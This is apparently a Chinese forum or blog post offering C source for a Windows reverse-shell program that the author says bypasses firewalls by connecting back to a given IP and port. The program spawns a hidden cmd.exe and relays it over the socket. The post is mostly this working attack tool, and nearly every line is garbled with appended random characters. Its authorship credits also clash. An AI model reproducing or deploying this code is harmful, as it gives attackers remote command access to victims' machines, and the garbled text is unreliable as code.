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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `*yOc6i]  
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/* ============================== S;iD~>KP  
Rebound port in Windows NT !B{(EL=g  
By wind,2006/7 qC& xuu|  
===============================*/ 4DP<)KX  
#include OI:=>Bk  
#include 0$Zh4Y  
)@y'$)5s  
#pragma comment(lib,"wsock32.lib") &gC)%*I 4  
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void OutputShell(); ~R=p[h)  
SOCKET sClient; A,4} $-7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =z<sx2#*  
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void main(int argc,char **argv) v$q\3#5|'  
{ .{bT9Sc5  
WSADATA stWsaData; s2 aFme  
int nRet; i?#U>0!  
SOCKADDR_IN stSaiClient,stSaiServer; I{H!K rM!  
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if(argc != 3) Dk")/ ib  
{ -s le7k  
printf("Useage:\n\rRebound DestIP DestPort\n"); zH~g5xgh  
return; c$u#U~~  
} 0lcwc"_DZX  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =M4wP3V/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u8<Fk !  
u V'C_H  
stSaiClient.sin_family = AF_INET; **6X9ZIX[  
stSaiClient.sin_port = htons(0); :,/ \E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sv "GX< +  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i !SN"SY  
{ *>o@EUArN  
printf("Bind Socket Failed!\n"); u+jx3aP:  
return; ~+RrL,t#  
} d)$ seZB  
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stSaiServer.sin_family = AF_INET; 8jLO-^X<<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s>>lf&7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,d=Dicaz  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gKPqU@$*  
{ Zyz)`>cB  
printf("Connect Error!"); iq 8Hq)I]  
return; *s2 C+@ef  
} 1'k,P;s  
OutputShell(); =)Goip  
} : :/vDUDc  
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void OutputShell() (51;cj>J  
{ RT9%E/m  
char szBuff[1024]; j2n 4; m  
SECURITY_ATTRIBUTES stSecurityAttributes; 3}.OSt'=  
OSVERSIONINFO stOsversionInfo; Y[;Z7p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lgHzI(  
STARTUPINFO stStartupInfo; . ve a[  
char *szShell; jwwst\f  
PROCESS_INFORMATION stProcessInformation; eN<?rVZl  
unsigned long lBytesRead; Mt12 1Q&"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q }9n.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T=pKen/  
stSecurityAttributes.lpSecurityDescriptor = 0; 2&F  H8  
stSecurityAttributes.bInheritHandle = TRUE; AAc2u^spx  
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z}7U>y6`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E `%*lGu_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P$`k* v  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m W4tW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6~8dMy;w  
stStartupInfo.wShowWindow = SW_HIDE; k~$}&O  
stStartupInfo.hStdInput = hReadPipe; }iB>3|\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z2k5qs7g  
` B+Pl6l)F  
GetVersionEx(&stOsversionInfo); Pj*"2 LBW#  
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switch(stOsversionInfo.dwPlatformId) (i^<er q  
{ Jqt|' G3  
case 1: 8.' THLI  
szShell = "command.com"; `SYq/6$VEH  
break; 7)Bizlf  
default: I{u+=0^Y  
szShell = "cmd.exe"; #j"N5e}U  
break; ^c>ROpic  
} AiV1 vD`  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); : DBJ2n  
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send(sClient,szMsg,77,0); {=E,.%8  
while(1) !f8]gTzN  
{ 4({Wipd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ew8Manx  
if(lBytesRead) Hb9r.;r<EW  
{ 'jU;.vZex  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v;R+{K87  
send(sClient,szBuff,lBytesRead,0); 0 aiE0b9c  
} T7 XbbU  
else }cI _$  
{ A4VV y~sd  
lBytesRead=recv(sClient,szBuff,1024,0); zLVk7u{e  
if(lBytesRead<=0) break; :}fIu?hCA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "NO*(<C.R  
} eP|hxqM&9  
} ",Fqpu&M  
bRc~e@  
return; [Z+E_Lbz  
}
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